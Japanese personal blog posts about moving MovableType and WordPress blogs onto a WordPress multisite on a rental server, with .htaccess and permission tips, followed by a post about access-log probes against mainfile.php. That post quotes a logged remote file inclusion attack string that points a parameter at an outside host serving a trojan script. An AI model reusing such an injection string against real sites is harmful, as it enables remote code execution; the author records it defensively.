  20. MovableType5.12の「Tools」>>「EXport Entries」でエクスポートしたファイル(.txt)をテキストエディタで開き,旧URIの対応する部分を新URIの対応するものに書き換えたのち,
         (例) /BLOG/ を http://xxx.s***.xrea.com/blog-e/files/
    Movable Type and TypePad Importer を使ってインポート。
    同様に,WordPress 3.2.1のエクスポートファイル(.xml)をテキストエディタで開き,旧URIの対応する部分を新URIの対応するものに書き換えたのち,
         (例) /BLOG-J/~/uploads/ を http://xxx.s***.xrea.com/blog-j/files/
    WordPress Importer を使ってインポート。
    どちらの場合もサイズが大きいと(デフォルトでは,Maximum size: 1.46484375MB になっている。)エラーが出るので,分割してアップロードする。どちらも本体はテキストファイルなので分割はできるが,xmlの場合,分割したそれぞれにヘッダーをつけておかないといけなかった。
    忘れるところだったが,最後の2行
         </channel>
         </rss>
    があると,ファイルサイズが小さくてもエラーが出る。なんでだかわからないが,分割ファイルをアップしたときに怪我の功名で気づいた。エラーメッセージは,下記のようなものだった。
         Import WordPress
         *** glibc detected *** corrupted double-linked list: 0x088210f0 ***
    MovableTypeのタグ関係がうまく移せなかったので,手作業で処理した。大した量じゃなかったからいいけど,この件はもうちょっと勉強しないといけないみたい。
  21. 画像をアップしようとしたら,「ディレクトリ /virtual/o6asan/public_html/wp-content/uploads を作成できませんでした。」が出たので,FTP接続してディレクトリ uploads(パーミッションは707)を作成。
  22. 画像の表示ができない(これも前と同じ)ので,/public_html の.htaccessで
            uploaded files
            RewriteRule ^([_0-9a-zA-Z-]+/)?files/(.+) wp-includes/ms-files.php?file=$2 [L]

            RewriteEngine On
    の直下に移動する。
    /public_html/wp-includes の.htaccessに次のディレクティブを追加。(PHPのセーフモード対策。)
            <Files ms-files.php>
            AddHandler application/x-httpd-phpcgi .php
            </Files>
    画像のアップロード時点で,サイトの容量制限を超えてしまったので,XREA+の契約をし,サイトネットワーク管理者の管理画面から,各サイトのアップロード容量のアップロードファイルの合計を100MBに制限に変更。

 2つのブログの引っ越しについてはこんなところかな。何か忘れていることがあるかもしれない。あー,長かった。しかし,これでまだ道半ばなんだよ。orz

追記(9/9):blogs.dir以下のディレクトリパーミッションは707にしておかないと,filesディレクトリへの移動ができないのでファイルのアップロードが完了しない。

追記3(2013/8/15):
 「Similar Posts」のサポートが止まって長いので, Yet Another Related Posts Plugin を使うことにした。こちらには,はじめから日本語化ファイル(プラグイン作者自作)が付いている。どうも日系の方みたい。

本家のお世話-#7。

 10日ばかり前(8/27)から,WordPress3.2.1をXREA+上でネットワーク化しサブディレクトリ型のマルチサイトとして使おうと,これにどっぷり浸かっている。前のときに,「サブドメインの練習。」から「ネットワークの作成-#4。」までの一連の記事で,XREA上のWordPress3.2.1でのサブドメイン型のマルチサイトのお勉強の様子を書いたわけだが,あれは単にお勉強だった。しかし,これは本当に勉強になって今度のサブディレクトリ型の構築でも大変に役に立っている。

 今回のは,表題の通り自鯖のお世話の関係になる。自鯖については,Apacheやメールサーバの勉強をしたいと思ってローカルで建てていたもの(これは仕事先のサイトの管理をやっていたので,仕事場とほぼ同じ環境を作って,チェックに使うために構築したのが発端。)を,DDNSで公開するところから始めて,独自ドメインを取り(これが2007年),その上でMovableTypeを利用したブログを書くようになった。当初,目的がサーバ自体の勉強であったため,ブログを書ける環境は作ったものの記事を書くことにはあまり興味がなかった。サイトのコンテンツを書くことについては,仕事関係の分だけでお腹いっぱいだったせいもある。

 ひょんなこと(「WordPress インストール。」参照)から,無料レンタルサーバ上にWordPress2.9.2でブログを書き始めたが,このレンタルサーバの接続があまりにも不安定なのに業を煮やし,このブログも自鯖上に移してしまった(「ブログを引っ越す。」参照。)ので,自鯖上にMovablTypeとWordPressと手書きのコンテンツが同居することになった。サーバ管理の勉強がしたくて始めたとはいうものの,昨今のようにセキュリティ・アップデートが引き続くとWAMP系の,しかし,パッケージではなく別々に構築したサーバソフトウェアの世話だけでも面倒なのに,両ブログCMSの世話が結構大変になってきてうんざりしていた。

 そこで,一大事業になるのは目に見えていたが,サイトのコンテンツの管理をWordPressに一本化しようと思い立った。一本化の骨をどのCMSにするかということは前もって考えてみた。
 Xoopsをインストールしてみたことや,近頃のMovableTypeの使い心地や,この間,XREA上のWordPress3.2.1でのサブドメイン型のマルチサイトを構築したときのことから考えると,いろいろ問題はあるもののWordPressがいいかなと思ったわけだ。今の勢いを考えると,WordPressのマルチサイトの使いやすさが上がってくるのもそう時間はかからない気がする。いちいち動的にページを表示するのでサーバのその都度の負担は若干大きいかもしれないが,うちのサイト程度では,問題にもならないだろう。主なコンテンツは2つのブログだから使い慣れていない汎用CMSよりも使い慣れたのがいいだろうということもある。
 MovableTypeももともとオープンソースのMTOSを使っていたので,費用の点ではこちらも無料だが,Perl系のMovableTypeとPHP系のWordPressでは,素人には後者の方がアップデート管理がしやすい気がする。PHPは膏薬(?)のようにどこにでもくっつくので,そのせいだろうか。反面,セキュリティではあっちこっち危ないということがあるのだろう。

 (注) 半可通の書いていることなので,鵜呑みにしないようにお願いします。―笑

 で取りかかったのだが,「一大事業になるのは目に見えていた」という覚悟はしていたものの,大変です(号泣―爆)。

 何はともあれ,稼働中のサーバなのでどこかにテストサイトを作ろうと考えた。自鯖のWindowsXPでVirtualPCということも候補に入れたが,使っているPC上でやるのは性格からくるうっかりミスで,間違って何かを削除するのが怖い(実は,実際にやらかして青ざめ,そっからやりなおしたのっス。―恥)。で,この間使ったXREA上で未公開のままテストサイトを構築することにした。

 まぁ,2ブログの引っ越しまでは,あんまり問題もなくうまくいったんだ。大体29日には終わっていた。
 今,手を焼いてるのは,旧手書き部分用のWordPressテーマのカスタマイズとWordPressの投稿画面を使ってBBSを作ること。これも,ほぼ出来たんだけど,cssに手こずっている。cssはねぇ,むかーし,やったことはあるんだけど,どうもそのころから苦手で。こう書けばこうなるはずと思って,書いたstyle.cssをアップしてみると意図したようになっていない。これの繰り返し。その過程で,IEについて7以下は見捨てることにした。7については,全く環境がないのでテストができないし,6についてはあまりにもやんちゃなのでギブアップ。その昔cssをやったころは,IE6だけを念頭に置いておけば,ほぼ無問題だったんだけど,今日日は,IE8とIE9を蚊帳の外に置くわけにいかないし,IE6とこの2つは全くと言っていいほど挙動が違う。もちろん,IE6のほうが,仕様に準拠していないのだ。
 他の人気ブラウザについては,当初から最新版しか念頭にない(爆)。これは,IEを使わずに他のモダンブラウザを使っている方たちは,だいたい最新版にアップして使っているのが普通だろうという希望的観測がもとになっている。

 2ブログの引っ越しくらいまでは,メモを取っていたんだけど,そっから先はグズグズになって何をやったかよくわからん。後で一番必要なところなのに(泣^2)。そういうわけで,引っ越しくらいまで,報告しておきます。XREA+での話です。しかし,すごく長くなっているので残りは,次記事にします。

mainfile.php狙いの不正アクセス。

 今日は,寒かった。昨日から南に見える例のお山は雪を頂いていたが,今朝は北に見える山も雪を被っていた。初雪である。まぁ,家の辺まで降ったわけではありませんが……

 ところで,12月5日にXOOPSを導入して以来,mainfile.php狙いの不正アクセスがApacheのログに多く記録されている。
mainfile.php?MAIN_PATH=http://www.all3c.com///images/mono/20100907/app/functions/response.txt?
mainfile.php?id
なんちゃらで,libwww-perlを利用したものである。自鯖にはmainfile.phpはないので,すべて404エラーになっている。@PAGESのほうではまだアクセスログを見ていないので分からないが,やっぱりmainfile.phpは有名な名前なんだね。

 MoovableTypeでも,WordPressでもコンフィグを狙うアクセスは多いけど,有名どころのアプリをそのままの名で設置するときは,指示されているセキュリティ関係のオプションはきっちりやらないと危ないよ。
Trojan-Spy.PHP.Mailar.h
 ところで,aguse.jp越えで h ttp://www.all3c.com///images/mono/20100907/app/functions/response.txt? にアクセスしたら,右の画像が表示された。カスペルスキー,えらい。